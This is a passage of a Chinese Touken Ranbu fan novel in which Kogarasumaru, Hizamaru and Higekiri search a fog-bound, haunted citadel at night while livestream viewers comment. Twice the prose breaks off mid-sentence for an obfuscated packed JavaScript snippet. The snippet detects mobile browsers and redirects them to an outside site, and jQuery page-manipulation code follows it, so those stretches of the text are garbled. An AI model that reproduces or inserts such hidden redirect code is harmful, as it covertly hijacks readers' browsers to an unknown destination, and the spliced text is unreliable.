而到至今,这座房屋依旧庇护着沦落的逃亡之人。 戴着黑色眼罩的付丧神敲响闭合的门扉,灯笼散发的光透入细小的门缝,里面清醒着的付丧神快速凑上前去。 “怎么突然醒了?” “因为见到熟人,所以稍微打起精神也理所当然吧。” 鹤丸国永后背抵在门板上,他张开五指,让那束光流转在指缝间。 “又是在日落时分见到的吗?” 逢魔之时,也许会遇见本就不存在或已离去的人,但这只是幻觉罢了。烛台切就曾经见到过织田信长和伊达政宗。 烛台切光忠将灯笼放置在地,拿出熬夜加急做出的晚饭,木质食盒外壁仍留有余温,“醒了就先吃点东西吧。” “这次绝对不是幻觉,光坊。”半晌,那道声音又低迷下来,恍惚地飘出来,“……谁知道呢?” 鹤丸国永处于黑暗孤寂的时间过于漫长了,以至于再次回归沉眠也不痛不痒,只是,明明他都见过阳光了,还想再多看一眼。 怀着这种不甘的心愿,他的梦里充满了自欺欺人的幻想,也许又是错认了罢。 烛台切觉察到鹤丸的情绪变化,他沉默片刻,转开了话题,“那位殿下怎么样了?” 鹤丸国永将目光投向暗处桌案上被妥善安置在刀架的太刀,细直的刀身在刀柄处大幅度折回,反刃却不甚明显。 太刀在鹤丸国永进入这间屋子前便一直未曾显现过,审神者尝试过百种方法,仍无济于事,便一直被厌弃于此。 “还是老样子,该不会是锻造时的刀匠放错材料了吧?” 白发付丧神轻笑,他半晌没听见烛台切光忠的回应,正疑惑时耳边却想起锁链晃动的声响,瞬间惊得一蹦三尺高。 “等等,先别开门!”鹤丸还来不及反应,外面湿冷的风已经迎面扑了上来。 “总要出来透透气吧。”带着黑色眼罩的付丧神叹气,本就不牢固的锁被一把扯到地上,“更何况,是不是真的,总要亲眼去看看才知道。” 光线彻底照亮这片孤寂的角落,鹤丸国永后退几步,他大概是被光刺到眼睛,泪水顺着脸庞淌落。 一身雪白干干净净的鹤抬头,露出即使变色也依旧漂亮的眸子,付丧神默默嘀咕,“一点都不帅气……” “那是我的台词吧?” 暗处,执着于偷窥的直播球悄咪咪地将全部录下,实时转播到各本丸里。 [呵,我就说,晚睡的审有福了。] [鹤丸只有眼睛变红,有没有人见过暗堕黑鹤啊?是这个样子吗?] [呃,曾经有幸目睹,但是堕得千秋百态。] [那个绝对是小乌丸吧?刃反我记一辈子。] [嘶,我早就想说了,这间房子的构造好眼熟,不是合掌造吗?] [WC了,那这样岂不是……] 【秋瑾实实在在地感受到某种绝望的情绪,将小乌丸放在一间为战败逃匿而制作出来的屋子里,她当然知晓那个的审神者打得什么主意。 而此时连一向不曾表达想法的拔丸都沉下脸色,即使过往都随记忆远去,但独属于平氏的荣耀不容玷污。 “让树木枯死可是我的拿手好戏。”红发付丧神轻声细语,促使生命凋零也不例外。 “鹤姥爷?” 秋瑾肩头搭上条胳膊,鹤丸国永出言安抚不安的审神者,“真的把你吓坏了吧?安心又不关你事。” 雪白的鹤眨眨眼,仿佛并没有因同振被囚禁而丧气发怒,不同的鹤丸国永该有不同的走向,无论变成何种样貌,又以何种表情面对未来,那都是鹤丸国永们自己的决定,他有自己的命运。 膝丸眉头紧皱,在本丸里他和阿尼甲有意识避免与小乌丸等平氏刀剑产生冲突,他们不能给现在的主人带来困扰。 只是直播里展现的内容粗暴地撕开了窗户纸,联想到源氏仅一刃独占的大型庭院,那个审神者到底想干什么? 髭切左手托腮,指尖漫不经心地一下下敲击桌面。 单纯看乌鸦丸不顺眼,还是在有意讨好源氏?不论如何,这种手段都太过拙劣,上不得台面。反而有把双方都惹恼的可能。 “那个,父上大人……”秋瑾终于问出口,紧张地舌头打结再也发不出声,小乌丸却冲她平和地颔首。 “世间繁华如烟云过眼,无妨。” 小乌丸反应比想象中平淡,他感叹那段阴霾的时光,却并不为此郁结于心。真正的信仰不因他人的诋毁而动摇,那份忠诚于心底长存。 “何况,曾为平氏遮风挡雨的房屋,如今也给予了为父安宁。” 合掌造,在小乌丸看来,该是守护而非侮辱的象征。】 同一时间,源氏部屋内谈话的结束,狮子王抱起该换洗的衣服床单,挑着灯笼走了。 小乌coser多看了两眼付丧神手里的灯笼,里面的火苗闪烁着青白的光,火焰不该都是金红色的吗? 膝丸coser巡视一遭,确保屋内没有闲杂人等,才接着问道:“今晚还要去夜探吗?” 白天发生的怪事让小乌coser好奇不已,他打算先通过半身观察一下情况,然后再深入调查也不迟。 少年将自身灵力探出,循着熟悉的方向寻找那丝联系。良久,直到那股灵力尽数消散在寻觅的路上,他再次尝试依旧无果。 “我感应不到它的存在了。”小乌coser脸色难看。 “它,是那只幼鸦吗?”虽然两人都没敞明半身的事情,但都心照不宣地用伴生灵互相留意对方。 少年有些慌乱,他再次尝试联系乌鸦,雾蒙蒙的隔了层毛玻璃般,无法深入。 要出去一探究竟吗?加州清光既然会特意叮嘱,那夜晚的本丸定然埋藏有不确定的危险。 “走吧,我们一起,只要不落单就好。”膝丸coser果断做出决定。抱歉,让单主犹豫的事情他做不到。 话落,青年义无反顾地率先踏入夜幕。小乌coser赶忙追上去。 这屋子里连盏可以拎的灯都没有,黑漆漆的,一旦距离稍远都会有失踪的风险。 话说这家伙忘记自己现在是把太刀了吗,夜战这么勇,不要命啦? 不负众望,他们还是分开了。 两人的机动都不差,以至于等小乌coser察觉到身边人没了时,他已经感应不到膝丸coser的灵体位置了。 夜间升腾了雾,团团黑色的气体浮絮般在近地面堆积下来,将本丸的建筑纷纷纳入其中,这时的本丸倒像渺无人烟的荒居了。 黑发少年独自行走在不见五指的暗色里,他时刻警惕着周遭,仿佛一不注意就会从身后杀出个细藤条似的恶鬼来。 左前方响起鸟类翅膀扑扇的响动,小乌coser扭头,隐约看见一只漆黑的鸟的影子快速掠过。 是他的伴生灵吗? 小乌coser调转脚步,朝声音的源头走去,簌簌的响声有如风扫过树叶,少年加快速度,奔跑的身影几乎与声音持平。 到底要跑到哪里去? 微弱的白光浮现,柔和地照亮少年面容,熟悉的嗓音一同传入耳中。 “好,不能再往前了。” 突然的光亮让小乌coser产生片刻懵怔,反应过来后却刹不住脚,付丧神的脸无在视野里限放大。 他结结实实地撞上忽然显现的人影,鼻梁磕到髭切下巴,疼得他泪花瞬间炸了出来。不会流鼻血了吧? 小乌coser眨眨模糊的眼睛,在看清前方景象时骤然一缩。 黑洞洞的山峡横斜,脚边滚落的碎石坠入其中,不见声响。雾气漂浮在表面,伪装得与平地一般无二。小乌coser产生了种凝视深渊的恐慌。 髭切拍拍少年的后背,小乌coser隐约嗅到付丧神身上清爽的味道,“弟弟丸可不在下面啊。” 湿气堵得鼻孔闭塞,小乌coser吸吸鼻子,髭切的拥抱让他想要退缩,平时跟膝丸coser相处时的肢体接触已经让他有些难以招架,更何况一直蠢蠢欲动的髭切。 跪求神明放过对亲密关系过敏的他吧。 髭切用灵力驱散怪异的雾气,邪恶的气息窥伺在周身,遍布于本丸各角落。金色眸子俯视山峡,无法勘破迷瘴,下方的怨念最为深重,那里就是雾气的源头吧。 体内的灵力被隐隐窥伺着,特意引诱他们下去,真把他当成猫咪吗?可惜现在还不是斩灭妖鬼的时刻。 转念,髭切环抱住少年,眸光落在其腰间的太刀上,感叹道:“弟弟丸之前真是惊险啊,这样下去真的好吗?” 以这座本丸的危险程度,那振分灵竟然还将膝丸拉入火坑,甚至给弟弟丸造成重创,身为兄长,却完全不合格呢。 “我知道,我会想办法。”小乌coser有些抗拒,不愿细说。 髭切将下巴搁在少年头顶,然后被触底反弹的少年挣开。 付丧神整理毛领披风,他将原先的衣服借给小乌coser,如今身上换成极化后的服饰,毛绒绒的衣领仿佛未髭切增加了层柔光滤镜,仿佛变得好说话起来。 “但以鸟丸如今的状态,只会带领他一起走向灭亡。”然而开口滤镜尽碎,髭切还是那个高傲冷漠的源氏重宝。 小乌coser心脏跟着停歇了瞬,呼吸都猛然滞涩,声音轻得不可闻,“什么意思?” “这都听不懂吗?” 奶金色头发的太刀点点唇瓣,“弟弟丸的魂魄是残缺的,虽然我暂时不知是什么原因导致。” 在数日的观察下,髭切得以确定,那振膝丸的灵魂因被撕裂过而无法适应灵体,以至于不得不强行攀附小乌,汲取少年的灵力维持稳定。 髭切也曾试图让膝丸吸收他的灵力,徒劳无功甚至出现了强烈的排斥反应。不愧是蛇丸,缠住人就再别想叫其松手。 原本圈在少年手腕的的小蛇猛然哆嗦了下,发疯了般朝上攀爬,盘在少年颈侧。小乌coser蹙眉,刚刚青蛇贴着他后背皮肤爬动,差点挠到他痒。 “原因会被找到,我也会在此期间持续滋养他的魂体。”少年轻描淡写地道出打算,自穿越到现在,他也一直这样做的。 昨天膝丸coser本体的受损程度真的吓到他了,小乌coser合眼,他不想青年再次在他的视线范围外发生不测。 “但以你如今的身体,绝不可能坚持到那时候吧。” 髭切同样轻飘飘地揭露事实,他目光落至少年腰间,“自顾不暇,还要余出精力顾及他人……为什么直到现在都不愿直面你的本体,害怕自己的样子吗?” 小乌coser没有回答髭切的逼问,他只是简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036096|178687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单地驳斥道:“膝丸不是其他人。” 意味着他认为所做出的一切都是值得的,且绝不后悔。 窃听的小蛇微微一颤,竖瞳瞬间化作两个金边蛋花眼。 髭切闻言微愣,他有些惊讶地歪歪头,这句话使他原本施加于言语上的压力被少年冷静地化解了。一开始被刺激得泄露情绪,到后来掌握住节奏,抓住漏点反驳,弟弟也不停成长着啊。 “小鸟丸真的很在乎绿丸呢,为什么?” “与你无关。”小乌coser步伐加快,像是要把恼人的家伙远远抛下。 髭切反而停下脚步,他注视着少年的背影,笑容危险,“真是执拗,就算将弟弟丸拖延至死也不后悔,这便是你的决心吗?” 虽然最大的概率是小乌灵力耗尽而破碎,但相比自己,还是更在意身边的人吧。 小乌coser驻足在前方不远处,他眸光倏然黯淡下来,嘴唇噏张最终紧紧抿起,不发一言。 盘在颈侧的小蛇察觉不对,昂起头去贴他的脸,分叉的蛇信子无法控制般想要舔少年的脸,又在将要触碰到时猛地收回,再伸出来,又收回去。 反复伸缩一会儿,小蛇彻底僵住,它舌头抽筋了。 温凉的触感让小乌coser紧绷的神经放松了点,他讨厌现在步步紧逼的盘问,髭切一出现,就注定不安生。 “我知道了,认死理丸很难伺候吧?”髭切知道,这颗动摇的种子已经植下了。 明明上一刻气势还咄咄逼人,下一瞬髭切便回归了以往的温和,口吻甚至透露出诙谐。 他上前揉揉小乌coser的头,发现少年半边脸被夜色笼罩,嘴唇被隐忍地咬得发白。 或许在他不知道的过去,小乌和弟弟丸已建立了更深刻的联系,所以一时的执迷不悟也是可以被宽容的,爱惜家人是值得被夸赞的品格。 思即此,髭切结束了谈话,主动引路往膝丸coser所在的方向而去,“现在去找他吧?” “来,不能落单。”奶金色的太刀笑着朝少年伸出手,小乌coser审视过髭切的神情,最终还是将手搭上去。 算了,找到膝丸coser更重要。 髭切指尖一松,向上直接握住少年腕部,他更满意这个完全掌握的姿势,牵着人沿着原路返回。 这里有压制他灵力的存在,髭切将很大一部分力量用在维持小乌coser灵体能量恒定上。他挥散企图缠上来的瘴气,握紧少年手腕,感受其皮肤下脉搏的搏动。 少年身体比他设想的还要糟糕,筛子一样漏洞百出,但在表面却看不出什么。 只要见到小乌本体……髭切叹了口气,还是再等等,等到小乌自愿向他敞开心扉,他的,弟弟。 返回的路上,小乌coser总想越过领路的付丧神,磨磨蹭蹭,难道他不担心自家弟弟吗? “这种时候,就不要讲究你的闲情逸致了。”小乌coser不理解为什么髭切非要在大晚上慢吞吞地散步。 是在消食吗? 已经很努力在提高速度的哥切疑惑,“诶,什么闲情逸致?” 竟如此冷漠,不愧是友切,再晚点恐怕要多一个弟弟切的称号了。 小乌coser已经想好告状的话术了,准备转头就给膝丸coser灌输髭切不关心弟弟的观点。 震惊,在弟弟的生死关头哥哥竟然这样做……消耗时间就是在浪费弟丸的生命。 总感觉小鸟在想些糟糕的事情的哥哥切默不作声地提速。 * 在其他刃还在因黑暗而烦恼时,直播球早已开了全彩夜视仪,在雾气弥漫的本丸自在地如入无人之境,它敏锐地锁定地面歪倒的身影。 摄像头聚焦在付丧神薄荷色的头发上,并自动添加了亮绿色光晕,证实了黑影的身份。 [简直绿得我发慌。] [虽然很冒昧,噗!发丝在闪荧光啊。] [干嘛啊,非给弟丸加层光效。] [弟丸:我真的没时间陪你们闹了,果断晕倒。] [夜空中最亮的头啊,非主流丸。] [谁来管管弟丸,一会不见就昏迷了,脆脆丸吗。] [哦哦哦,小乌他们来了!] 前方地上躺着一道人影,小乌coser模模糊糊地看见其头顶上的绿色,他甩开髭切的手,跑上前将人搀扶起来。 髭切慢悠悠地跟在后头,在望向膝丸coser时目光一顿,他讶异地打量晕倒的青年。 明明没有任何变化,但这股灵力? 在这时,靠在小乌coser怀里的青年也悠悠转醒。 “怎么晕倒的?膝——” 未全部吐出的担忧话语被尽数卡在喉间,小乌coser目光陡然凌厉,他盯住付丧神的眼睛。 薄绿色的太刀神情些微地茫然,仿佛也在诧异自己所处的地方,付丧神垂在腿侧的手下意识去摸佩刀,却摸了个空。 膝丸这才回过神,在面前黑发妹妹头的少年腰间发现自己的本体,他恍然抬头,却对上一副应激样子的小乌coser。 “你是谁?”少年语气突然冷漠。 “弟弟?”付丧神试探道。 少年对他拔出刀,程亮的刃面映出两人的剪影,那双黑色的眼睛里呈现的情绪清晰地刺入膝丸内心。 愠怒夹杂着杀意,还有一丝惴惴的惶然,他的脆弱像是被掐掉根茎的锚草,用细小不安的毛刺威吓膝丸。 多么,可怜。 与之相对,小乌coser的表情彻底消失了,他面对膝丸,骤然拔出了原本属于膝丸coser的那把刀。 薄绿色的太刀不知所措。 14. 第 14 章 小乌coser的话一出口,直播间瞬间爆炸。 [什么意思?为什么小乌这样问,他不是膝丸还能是谁?] [莫非是!第二人格!] [小乌不是曾提到过膝丸有过被虐待的经历,也许就是因渣审的刺激而衍生出另一个人格,分担痛苦,膝丸一定是遇到不知名的危险,所以人格交换了!] [如此一来,遇见小乌的是膝丸主人格,而现在的是副人格!] [好厉害的推理,我竟找不到漏洞,楼上的福尔摩斯二世吗?] [渣审真该死啊,可怜的弟丸,抱抱。] 髭切快步上前,他没有直接去拦小乌coser对准膝丸的刀尖,而是从背后将手搭在少年双肩,顺着手臂往下轻抚,一下下地将小乌coser的躁动抚平。 “不解释一下吗?说来就来丸。” 付丧神眯眼望向不在状态的膝丸,熟悉的灵力是膝丸本灵没错,但为什么会突然到来,还是以这种匪夷所思的方式,弟弟丸可不是说干就干的冲动性格。 薄绿色的太刀神色郁郁,脑中不断闪现刚才小乌coser毫不迟疑的拔刀举动,心底某处产生刺痛。 他抬起头,看见对面明显在向着小乌coser的阿尼甲,膝丸更难受了,他感觉自己都要喘不上气。 虽说情绪波动会反映到身体上,但现在也太超标了吧?! “阿尼甲,这里不对劲。” 膝丸艰难地吐出话语,周围的雾气发狂一般吞噬他本源的灵力,他所占据的这具身体无法与本源灵力相适应,排斥着他的进入。 诡异而可怕,像是专门为捕猎他而布下的局。 髭切瞳孔微缩,膝丸的反应比他想象中更大,不等髭切有所动作,在他怀里安静的小乌coser先他一步上前,掌心贴上付丧神泛白的脸颊。 少年眉眼染上焦急,他一个劲儿地往太刀本体输送灵力,但效果无法体现在膝丸身上,不如说付丧神的身体根本没有任何问题,膝丸的痛苦源自于魂体之上。 膝丸coser的灵魂是残缺的,髭切的话仿佛又响在耳边,小乌coser强迫自己不去回想。 感受着掌心的温热,薄绿目光停留在少年脸上,与兄长相似但又截然不同的弟弟。 在知道小乌的存在后,他曾经害怕这个弟弟的到来,前主们的争斗无法破坏重宝们的感情,可他们确实分离了许久。而那振代替他陪伴在兄长身边、被兄长一手栽培起来的的刀……比起他,兄长会更在乎小乌吗? 与人分享爱是困难的,哪怕是亲情,也想要被更多注视一点。 体内的混沌逐渐平息下来,膝丸猛然回神,正对上髭切温柔如水的笑容,虽然不是对着他,但付丧神还是紧张了下。 阿尼甲这么笑,那肯定有谁要倒霉了。 小乌coser看膝丸恢复正常,便松开付丧神的腰,刚一退开,就见膝丸一个大喘气,又不行了。 他干脆牵住膝丸的手,用灵力在付丧神周围编织灵力网,减少雾气的渗入。 “这样可以吗?” 虽然还是有些憋闷,但已经可以承受了,膝丸握紧小乌coser的手,无声认同。 将两人的互动看在眼里,髭切眸光闪了闪,他站到小乌coser身侧,同样牵住少年的另一只手。 接收到小乌coser疑惑的眼神,髭切脸不红心不跳,开口就开始编排自家弟弟莫须有的事情。 暗处的小蛇越听越不对劲,什么叫兄长们都很期待你的到来、想要团聚、一起回去?! 在挖墙角吗?占着他的身体挖着他的人,不要得寸近尺啊! 小蛇气愤地磨牙,它不敢咬髭切,便对准了一心只在小乌coser脸上的膝丸,他自己的身体咬了也不心疼。 弓身蓄力,它倏地弹射起飞,在即将咬到膝丸手臂时,被少年勾住尾巴收了回去。 “安静一点。”小乌coser对此感到头疼。 [哥切笑得好恐怖,要为弟们出头了吗!] [这场景不对吧?感觉好像夹心,铜仁审已经磕疯了。] [我就知道这个本丸肯定有问题。] [可恶!真的不能组队去救小乌他们出来吗?] [小乌他们都知道直播球,但一直没有坦明向我们求助,在最困难的时候也没有过……也许是不甘心被拯救。] [高高在上用着帮助的说辞强行介入,起不到实质上的帮助,我们需要做的是在他们的身后,筑起庇护的堡垒。] [我要哭了,一直没想到还有这层意思,思维差点偏向旧党了。] [刀剑们对自尊的看重不比人类弱啊。] [突,突然上升高度!] 【“看来反响不错呢。” 山姥切长义捶捶酸痛的后劲,他扭头看向仍敲打键盘的审神者,秋瑾目不转睛地盯住电脑屏幕。 出乎意料地认真呢,虽然看着懒懒散散,但意外的靠谱。 秋瑾顶着硕大的黑眼圈,从百忙之中抬起头,“在舆论给小乌他们制造良好局面,引导大众倒向我们。” 不光是真狩柊的请求,她自己也想给小乌他们提供一些助力。 “这样一来,时政在大部分审神者的压力下,总要顾全大局。” 绀紫色渐变发色的付丧神敲敲断墨的钢笔,一旁得闲的水心子正秀见状,递去根崭新的笔。作为前监察官的他们最熟悉这类文书工作,所以上手极快。 秋瑾望向陪她熬夜的刀剑们,“辛苦大家了,稍后吃完夜宵后再休息吧。” 绝对是你自己饿了想吃吧? 算了,山姥切长义无奈摇头。】 事后,因为髭切说不能落单,于是三人呈螃蟹状,手牵手回到源氏部屋,小乌coser始终不理解自己为什么要陪他们搞这种幼稚的play。 为避免被其他刀发现,髭切提前回归本体,小乌coser牵着膝丸进入里屋,他们也没心思睡觉了,或盘腿或跪坐各怀心思。 许久,做好心理准备的膝丸开口,想要解释清楚情况,把他是刀剑本灵的身份告诉少年。 “弟弟,我……” “别和我说话。”小乌coser冷声打断。 屋内顿时陷入死一般的寂静,膝丸正襟危坐,手指不安地抠弄衣角,他偷偷瞄向少年,对上双冷然的黑瞳。 那双眼睛与膝丸对视上,立刻不满地眯起,小乌coser烦躁地啧了声。 不管现在的是哪个膝丸,他只想知道,委托老师跑哪里去了,为什么要突然就…… 不,并非没有预兆。 他们二人在雾中走散,小乌coser有髭切提醒才避免危险,那落单的膝丸coser又遇到了什么呢? 左手持续传来陌生的温度,灵力游丝般钻进掌心,带来一阵阵难耐的麻痒。 膝丸余光观察旁边的人,偏长的黑色齐刘海大概有些扎眼,那双偏圆润的棕黑色猫瞳眨个不停,浓密的睫毛在眼睑投下浅淡的阴影。 少年凝望属于分灵的本体,膝丸也将目光移到那振太刀上。 阿尼甲最后暗示他与弟弟处好关系,这是被允许的吗? 虽然同样是膝丸,但占据着分灵的身体与未曾谋面的弟弟相处,他有些别扭。 两人离得不远,膝丸犹豫着挪动,上半身微微向少年探过去。他将人纳入自己的阴影里,鼻尖挨近少年的黑发,一丝清淡绵长的香气似有似无地飘来。 小乌coser握住膝丸coser本体的手猛然收紧,他感到被冒犯了,深呼吸两下,还是忍无可忍。 膝丸并未察觉危险的来临,他悄悄记下了小乌coser洗发水的味道,准备回去后就采购相同味道的,以便弟弟到本丸后能尽快适应。 他始终认为小乌coser迟早会回到源氏,这点毋庸置疑。 就在膝丸畅享未来时,少年突然发难,恐怖的机动让膝丸根本没意识到不对,身体已经到了半空,他被小乌coser一脚踢中倒飞出去好几米远。 和平相处?处不了一点。 小乌coser收回脚,已经想好如何给醒来发现浑身剧痛的膝丸coser解释,就说他落单时被熊揍了。 就在这时,屋门被拉开,出阵回归的〔髭切〕满身血,他刚踏进去,一道急速接近的黑影直直砸到付丧神身上,濒临重伤的髭切跟着倒飞出去,啪叽一声充当了膝丸的垫背。 兄弟两人被温柔地哄睡着,刀架上的髭切见状把存在感降到最低。 缠在少年身上的小青蛇默默规矩地盘好身子,蛇信子也不敢吐了,踹了他就不能再踹我了哦。 [笑死我了,肚子好疼。] [小乌飞踢,一石二鸟。] [只能说,这是弟丸他应得的。] [看着我的眼睛,膝丸你对得起坚信你是纯朴孩子的审吗?] [怎么不淳朴?他装都懒得装。] [看似畏畏缩缩的弟丸重拳出击。] 【s-10本丸,顶尖的级别是真狩柊和其麾下刀付丧神夜以继日共同努力得到的。 作为文武兼备、全面发展的审神者,真狩柊在员工待遇方面同样慷慨大方,他应刀剑们的请求,在后院里安装高清显示器,本丸里空闲下来的付丧神都聚集过来观看直播。 全极化的付丧神似乎要更加放得开,也更加成熟了。 “哦哦,是飞天丸!” 髭切指着大屏幕飞到半空的付丧神一脸稀奇,“能再表演一遍吗?” “是‘膝丸’啊,阿尼甲也被踢晕了吧。”膝丸看到最后结果,兄长被他连累了。 髭切摇摇头反驳,“不,是被你波及到了,被踢的只有变态丸吧。” 只是让你和弟弟处好关系,结果擅自在搞些什么限制级的东西,就算实在想做也不要这么明显,被踢怎么看都是活该。 “变态又是为什么!” 膝丸震惊,他和直播里的同振一样,完全没察觉到偷闻别人有何不妥,他甚至感到委屈。 只是记下气味方便日后分辨罢了,都是兄弟为什么不可以? 常伴于主人身侧,精通人情世故的极化短刀们露出不屑的眼神。】 ??解决了膝丸,小乌coser回头继续研究太刀,他惊讶地发现附着在其上的陌生灵力消失了,意味着占据膝丸coser身体的付丧神已经走了。 想来就来,想走就走? 目光移到外面晕死过去的青年,那为什么膝丸coser还没醒过来?不会被他踢……绝对和他没关系。 缠绕在脖颈的小蛇缓缓爬动,顺着少年脚踝落到榻榻米上。 它嘶嘶叫两声吸引小乌coser注意力,然后长条的身体圈成一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036097|178687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个字母C,又怕对面少年不理解连忙把缺口闭合,整条蛇呈“O”形。 coser的意思吗?虽然那更像骂了句,草哦! 小乌coser把青蛇捧至面前,如此具备人性的蛇难道还不足以证明吗?膝丸coser此时就在这条蛇里面。 “我知道了,谢谢你。”顾及直播存在,小乌coser没有明说。 膝蛇瞬间兴奋地昂起头,小乌coser连忙拉远距离,差点打到他脸。 好荒谬啊,老师真的变成蛇了。等等,那膝丸coser岂不是在他身上爬来爬去? 意识到事情严重性的小乌coser打了个激灵。 [这条蛇好有喜感啊。] [是在逗小乌开心吗?蛇好。] [我也想在小乌身上爬……] [楼上收了神通吧,眼前一片发黄。] [虽然对爬行动物不感冒,但这条小蛇实在可爱。] [还是感觉呆呆的,就叫呆蛇吧。] [怎么乱起外号,你是哥切转世吗?] 哒哒,屋外响起木屐接触地板的轻响。 黑长发的付丧神目光复杂地瞅瞅地上的源氏重宝们,对像极了案发现场的一幕不做评价。 “加州殿?见笑,同振和弟弟丸累得倒头就睡了。”小乌coser不慌不忙编着没人会信的谎话。 加州清光扫过小乌coser,“没事吧,本丸里的〔髭切〕殿有些排斥暗堕刀。” 他说得委婉,实际上〔髭切〕恨不得全砍了,如若不是鹤丸国永自愿被禁足,现在恐怕也凶多吉少了。 所以在看到疑似暗堕的小乌coser以〔髭切〕客人的身份出现在本丸时,加州清光感到非常惊奇。 “没事,毕竟站着和你说话的是我。” 那倒也是,看出来武德充沛了。虽然〔髭切〕殿带伤,但能在他毫无防备的情况下将其打晕,还达成双杀成就,也实属难得。 加州清光甩去脑子里多余的想法,将手里的东西呈出来,“我是来给你们送东西的。” 小乌coser注意到打刀手里的竹骨纸灯笼,做工粗糙。他昨晚在狮子王那里见过类似样式的灯笼,难道它是刃手一个的必需品吗? “昨晚安定和我做好后已经夜深了,今早才送过来。” 加州清光挠挠脸颊,他猜到昨天小乌coser们一定不会善罢甘休,才熬夜赶制灯笼出来。 “晚上有时会起大雾,有事必须要出去的话就用这个照明吧。” 小乌coser接过灯笼,手握处的竹柄被贴心地打磨光滑,避免扎手,“加州殿的手艺很厉害呢。” “勉勉强强吧,只是个照明工具。” “不,我是发自真心的,谢谢你和大和守殿的费心。” 小乌coser眉眼弯弯,陌生人的善意使他心情恢复了许多,因一夜闹剧而憔悴的脸色也终于稍稍明媚起来。 膝蛇欣慰地拱拱少年掌心,被微凉的指腹轻按了下头。 加州清光离开了,临走时他有点恍惚,付出的辛劳得到回报的感觉让付丧神脚步都变得轻盈不少。 被夸赞了,打刀眸光亮起来。 * 晨光熹微,鸟雀鸣叫着四散。 黑色羽毛的幼鸦不知从哪里蹦跳出来,张开翅膀飞到一座部屋房檐,它歪头注视屋内的景象。 源氏部屋内,〔髭切〕悠悠转醒,混沌的目光在木制房梁上停留一瞬,而后转到旁边的少年身上。 被剖干净的太刀只剩光秃秃的刃身,光滑的表面出现些许磨损,影响了整体的美观度。 小乌coser拿起玉钢,按照昨天加州清光示范的流程对太刀进行手入。 伤口缓慢愈合的痒意使付丧神更加迷惘,灵力顺着涂抹松子油的指腹过渡到身体里,抚慰埋藏深处的阵痛。 〔髭切〕刚醒来,却又昏昏欲睡,他强撑着睁开眼皮,视线沿着少年动作的手指上行,描绘那张与他无比相似的脸。 晨光干净清透,从破损歪倒的障子门打下几道透明的光束,空气中仿佛都漂浮着细小的尘埃,随着呼吸被吸进又呼出。 〔髭切〕和小乌coser的呼吸同步,他留意到少年鼻梁左侧红褐色的小痣,衬得唇色愈发寡淡,影影绰绰间像是某位故人的剪影。 在破晓时分也会产生幻觉吗? 一种奇异的冲动蓦然涌上心头,促使他开口,“小乌?” 少年动了,折射的光影映照出他的全貌,在他转过脸来后,那种朦胧的熟悉感彻底不见。 〔髭切〕眼神转移到少年腰侧的漆黑太刀,继续接话道,“那是小乌吧?” “不过是路上随手捡的废品,也会幻视成与你有关联的东西吗?做刀还是别太贪婪了。” 如果是真正的髭切在场,也许会直接承认或熟练地挡回去,无论怎样,就算真的是无用的废刀,源氏的重宝都会给予尊重。 但小乌coser知道那是他的本体,他只是莫名地回怼,说完才觉得不妥。 髭切可不会说出这种饱含怨怼的话。 奶金色的太刀凝望少年的眼睛,内心的浮躁尽数消退,他再也抵挡不住睡意,探出手伸向小乌coser的方向。 小乌coser平淡地看着〔髭切〕手无力地垂下,付丧神再次陷入昏沉的睡梦中。 15. 第 15 章 时间转回几个小时前,本灵本丸。 夜起的骨喰藤四郎驻足,他不确定地揉揉眼睛,刚刚同他们打过招呼的薄绿色太刀转身,还没走出两步身影就消失无踪了。 “不见了?” 鲶尾藤四郎惊呼,跑到膝丸消失的地方,没有发现整蛊机关。他探身看前方走廊拐角,昏暗的环境阻碍不了胁差的高侦查,一眼就望到了头。 “明明刚才还在那里的!” 静悄悄连声音都没发出,就这么突然不见了!太刀机动有这么高吗? “鲶尾哥,发生什么了?” 听到动静的乱藤四郎揉着眼睛推开幛子门,他抬头对上一脸不可思议的鲶尾藤四郎。 “膝丸殿他,莫名失踪了。”骨喰藤四郎慎重回道。 障纸门发出不堪负重的声音,后面的偷听的小短刀们纷纷挤出来,面色惊慌。 “一期尼!大事不好了!” “笑面殿,闹鬼啦——” “不得了!斩鬼刀都被幽灵抓走了!” “惊慌失措的小孩子也好可爱啊。” 里面是不是混进去了什么奇怪的东西? 深夜,一期一振留在部屋,他安抚着弟弟们的情绪,避免将恐慌扩散到全本丸。 “只是膝丸殿感到疲惫,回到本体里休息了。” 鲶尾藤四郎摸着头,不好意思道:“所以才会像失踪一样,吓到大家了吗?” “笑面殿观察过了,也没有鬼怪作祟。”骨喰藤四郎默默补充。 胁差双子对视一眼,随后被扑上来的弟弟们淹没。 水蓝色头发的付丧神合上障门,他盘腿坐在木板上,听着里面渐渐安静下来。 月色倾斜进走廊,夜色渐深。 药研藤四郎贴心地弯腰帮弟弟们盖好被子。 他揉揉博多的头,短刀抱着枕头,大概梦见了满箱黄金,嘴角的笑都合不拢。鲶尾和骨喰也已经躺下,胁差双子经过短暂的风波后再次依偎着陷入熟睡。 药研越过兄弟们,轻轻推开障子,他悄声冲守在外面的一期一振颔首。 “大家都睡下了,多亏鲶尾和骨喰,瞒过去了。”药研眉间浮现出担忧。 膝丸殿如果真的只是回到本体就好了,连本灵都会出现意外,兄弟们也不安全了。 “都会平息的。” 